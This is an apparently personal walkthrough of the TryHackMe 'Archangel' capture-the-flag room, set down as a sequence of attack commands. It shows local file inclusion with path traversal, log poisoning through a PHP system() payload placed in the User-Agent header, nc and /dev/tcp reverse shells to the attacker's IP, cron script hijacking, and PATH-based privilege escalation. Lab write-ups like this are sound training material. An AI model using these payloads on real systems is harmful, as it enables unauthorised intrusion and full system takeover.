Archangel
Room Link: https://tryhackme.com/room/archangel
Initial Scan
Kali
nmap -A $VICTIM
Scan all ports
No other ports found
Kali
nmap -sV -sT -O -p 1-65535 $VICTIMTCP/80 - HTTP
Kali
gobuster dir -u http://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
I added mafialive.thm to my host file and tried visiting the browser from there
Kali
subl /etc/hosts
Kali
gobuster dir -u http://mafialive.thm -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
Kali
curl -s http://mafialive.thm/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/test.php
echo "CQo8IURPQ1RZUEUgSFRNTD4KPGh0bWw+Cgo8aGVhZD4KICAgIDx0aXRsZT5JTkNMVURFPC90aXRsZT4KICAgIDxoMT5UZXN0IFBhZ2UuIE5vdCB0byBiZSBEZXBsb3ll
ZDwvaDE+CiAKICAgIDwvYnV0dG9uPjwvYT4gPGEgaHJlZj0iL3Rlc3QucGhwP3ZpZXc9L3Zhci93d3cvaHRtbC9kZXZlbG9wbWVudF90ZXN0aW5nL21ycm9ib3QucGhwIj48YnV0dG9uIGlkPSJzZWNyZXQiPkhl
cmUgaXMgYSBidXR0b248L2J1dHRvbj48L2E+PGJyPgogICAgICAgIDw/cGhwCgoJICAgIC8vRkxBRzogdGhte2V4cGxvMXQxbmdfbGYxfQoKICAgICAgICAgICAgZnVuY3Rpb24gY29udGFpbnNTdHIoJHN0ciwg
JHN1YnN0cikgewogICAgICAgICAgICAgICAgcmV0dXJuIHN0cnBvcygkc3RyLCAkc3Vic3RyKSAhPT0gZmFsc2U7CiAgICAgICAgICAgIH0KCSAgICBpZihpc3NldCgkX0dFVFsidmlldyJdKSl7CgkgICAgaWYo
IWNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICcuLi8uLicpICYmIGNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICcvdmFyL3d3dy9odG1sL2RldmVsb3BtZW50X3Rlc3RpbmcnKSkgewogICAgICAgICAgICAJ
aW5jbHVkZSAkX0dFVFsndmlldyddOwogICAgICAgICAgICB9ZWxzZXsKCgkJZWNobyAnU29ycnksIFRoYXRzIG5vdCBhbGxvd2VkJzsKICAgICAgICAgICAgfQoJfQogICAgICAgID8+CiAgICA8L2Rpdj4KPC9i
b2R5PgoKPC9odG1sPgoKCg==" | base64 -d
Kali
curl -s http://mafialive.thm/test.php?view=/var/www/html/development_testing/..//..//..//..//..//..//etc/passwd
Burpe Request
By changing the user agent I was able to start running commands
Before
GET /test.php?view=/var/www/html/development_testing/..//..//..//../var/log/apache2/access.log HTTP/1.1
Host: mafialive.thm
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
After
GET /test.php?view=/var/www/html/development_testing/..//..//..//../var/log/apache2/access.log&cmd=whoami HTTP/1.1
Host: mafialive.thm
User-Agent: <?php system($_GET['cmd']); ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Reverse Shell
Kali
nc -lvnp 1337Command being sent
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc $KALI 1337 >/tmp/fBurp request
Only notable thing is to url encode the command being sent
GET /test.php?view=/var/www/html/development_testing/..//..//..//../var/log/apache2/access.log&cmd=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|sh+-i+2>%261|nc+10.10.125.248+1337+>/tmp/f+ HTTP/1.1
Host: mafialive.thm
User-Agent: <?php system($_GET['cmd']); ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1Get autocomplete
python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl + Z
stty raw -echo;fg
Shell - archangel
Kali
nc -lvnp 1338Victim
cat /etc/crontab
cat /opt/helloworld.sh
echo '#!/bin/bash' > /opt/helloworld.sh
echo "sh -i >& /dev/tcp/$KALI/1338 0>&1" >> /opt/helloworld.sh
Get autocomplete
python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl + Z
stty raw -echo;fgPrivilege Escalation
Victim
file backup
strings backup 
We can see with strings that the program is running a cp command but it isn't using the full pathm we can use this.
Victim
cat > cp << EOF
> #!/bin/bash
> /bin/bash -i
> EOF
chmod +x cp
export PATH=/home/archangel/secret:$PATH
./backup 
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